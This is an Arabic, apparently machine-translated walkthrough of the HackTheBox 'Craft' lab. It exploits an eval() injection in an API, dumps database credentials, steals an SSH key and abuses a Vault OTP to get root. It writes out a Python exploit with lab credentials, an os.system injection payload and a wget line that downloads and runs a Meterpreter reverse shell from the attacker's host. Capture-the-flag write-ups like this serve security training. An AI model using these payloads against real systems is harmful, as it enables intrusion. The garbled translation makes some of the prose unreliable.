هاك ذا بوكس ​​- تجول الحرفية. نحفر في Git ، نستغل نقاط الضعف في واجهة برمجة التطبيقات ، ونتعامل مع Vault

صورة

في هذه المقالة ، سأبدأ في نشر حلول تم إرسالها لمزيد من المعالجة من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. سننظر في كيفية استغلال RCE في واجهة برمجة التطبيقات ، والتصفح في مستودعات Gogs ، والعمل مع قواعد البيانات ، والتعامل مع نظام التخزين وإدارة Vault السري.

الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر يعمل أو من مضيف حيث تتوفر البيانات المهمة لك ، حيث ينتهي بك المطاف على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمان المعلومات :)

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

استكشاف


ميناء المسح الضوئي


يحتوي هذا الجهاز على عنوان IP قدره 10.10.10.110 ، أقوم بإضافته إلى / etc / hosts.
10.10.10.110 craft.htb
بادئ ذي بدء ، نحن نقوم بفحص المنافذ المفتوحة باستخدام nmap ، وتحديد الخيار -A للحصول على أكبر قدر ممكن من المعلومات حول الخدمات المكتشفة.
 nmap -A craft.htb 

صورة

على الجهاز ، نرى خدمة ssh ، بالإضافة إلى خادم ويب يعمل على المنفذ 443. إذا ذهبت إلى خادم الويب ، فسيُعرض علينا النظر في واجهة برمجة التطبيقات.

صورة

عندما نحاول إلقاء نظرة على واجهة برمجة التطبيقات والبوابة الإلكترونية ، يتم إخبارنا بمواقع غير معروفة.

صورة

لذلك ، نضيف كلا أسماء النطاقات إلى / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


الآن كل الروابط مفتوحة. يُفترض أن واجهة برمجة تطبيقات Craft هي واجهة للعمل مع واجهة برمجة التطبيقات ، لذلك بالنسبة للمبتدئين ، نحتاج إلى معرفة كيفية عملها ، والتي ستساعدنا بها Gogs.

صورة

نقطة الدخول


في بوابة ، أول شيء للتحقق هو يرتكب.

صورة

بعد المرور عبر عمليات الالتزام ، في 10e3ba4f0a ، نجد بيانات المصادقة للمستخدم.

صورة

بعد تسجيل الدخول إلى gogs في المراسلات ، نجد إشارة حول الخطأ.

صورة

بالنقر على الرابط ، نكتشف كيف يتم التحقق في وظيفة eval () ، وهذا أمر خطير للغاية ، حيث يمكنك تنفيذ التعليمات البرمجية في هذه الوظيفة.

صورة

لاختبار الفرضية ، في وحدة بيثون المحلية سنقوم بعمل تمثيلي للوظيفة ، وسنحاول استدعاء وظيفة "system ()" من الوحدة النمطية "os".

صورة

تم تنفيذ الكود بنجاح! الآن تحتاج إلى كتابة استغلال حتى تتمكن من الاتصال مرة أخرى. في المرحلة الأولى ، انسخ رمز المصادقة واستلام الرمز المميز.
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

في هذا الرمز ، يتم تمرير الحمل الخاص بنا في المعلمة "abv" ، لذلك للتحقق من افتراض RCE ، استبدلنا السلسلة "15 .0" بـ "__import __ (" os "). النظام (" ping your_ip ")".

نفتح tcpdump ، مع الإشارة إلى الواجهة التي يجب الاستماع إليها وتصفية معلمات حزم ICMP فقط وإطلاق الاستغلال.

صورة

صورة

نلاحظ أننا تمكنا من اختبار اتصالنا من مضيف بعيد. الآن نحن رمي العودة الاتصال. يمكن القيام بذلك من خلال nc ، ولكن دعنا نحصل على قذيفة متر. للقيام بذلك ، قم بإنشاء حمل باستخدام msfvenom. نحدد التحميل نفسه (revers_tcp) والمضيف المحلي والمنفذ (LHOST ، LPORT) ، ويكون تنسيق الملف قزمًا.

صورة

في نفس الوقت نقوم بتشغيل خادم الويب المحلي. الآن تكوين المستمع في msfconsole. للقيام بذلك ، قم بتعيين المعلمات ، كما هو الحال في الحمل.

صورة

نستمع إلى الاتصالات الواردة ، والآن نحن بحاجة إلى تحميل الحمل على المضيف وبدء تشغيله.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
في نافذة metasplit ، نرى اتصالًا واردًا.

صورة

USER


دعونا إطلاق قذيفة ومعرفة من نعمل تحت.

صورة

وفقًا لاستنتاج المحطة ، يمكننا أن نفترض أننا داخل حاوية الرصيف. نلقي نظرة على المضيف.

صورة

يوجد ملف قابل للتنفيذ dbtest.py. يجب عليك مشاهدته.

صورة

البرنامج يتصل بقاعدة البيانات وينفذ الأمر مع الإخراج اللاحق. دعونا ننظر في جميع أنحاء قاعدة البيانات. للقيام بذلك ، أطلقت وحدة التحكم بيثون التفاعلية على المضيف ونسخ كل التعليمات البرمجية فيه قبل تنفيذ الأمر.

صورة

الآن سوف نطلب الجداول.

صورة

نتيجة لذلك ، عدنا 2 السجلات. نظرًا لأن cursor.fetchone () يُخرج إدخالًا واحدًا ، فسنقوم بإخراج اثنين من هذه المخرجات.

صورة

لذلك حصلنا على 2 الجداول. أكثر إثارة للاهتمام هو المستخدم. نعرض جميع البيانات من هذا الجدول.

صورة

وهناك 3 مداخل في ذلك.

صورة

ونحن نحصل على اعتمادات المستخدم. بعد أن جربتهم على ssh وفشلنا نحاول الدخول في بوابة. واتضح لتسجيل الدخول باسم gilfoyle. ولديه مستودع مغلق.

صورة

صورة

دليل .ssh مثير جدا للاهتمام. هناك مفتاحان ، ونلتقط المفتاح الخاص.

صورة

نحن نحاول الاتصال عبر ssh باستخدام هذا المفتاح.

صورة

ROOT


أول شيء يجب إلقاء نظرة عليه في دليل المستخدم.

صورة

نجد رمزا من قبو.

صورة

بعد التعامل مع قبو ، أقول إنه نظام تخزين وإدارة للأسرار التي تحتوي على بيانات بتنسيق المفتاح / القيمة ، يتم الوصول إليها عن طريق رمز مميز. تحقق من إعداد التخزين.

صورة

دعنا نلقي نظرة على قائمة الأسرار .

صورة

وبالتالي ، نرى أن الوصول إلى ssh قد تم تكوينه .

صورة

الآن نقوم بإدخال كلمة المرور لمرة واحدة المعطاة لنا ونحن في النظام كجذر.

صورة

يمكنك الانضمام إلينا على Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي من مشكلات تكنولوجيا المعلومات وأمن المعلومات.

Source: https://habr.com/ru/post/ar482970/


All Articles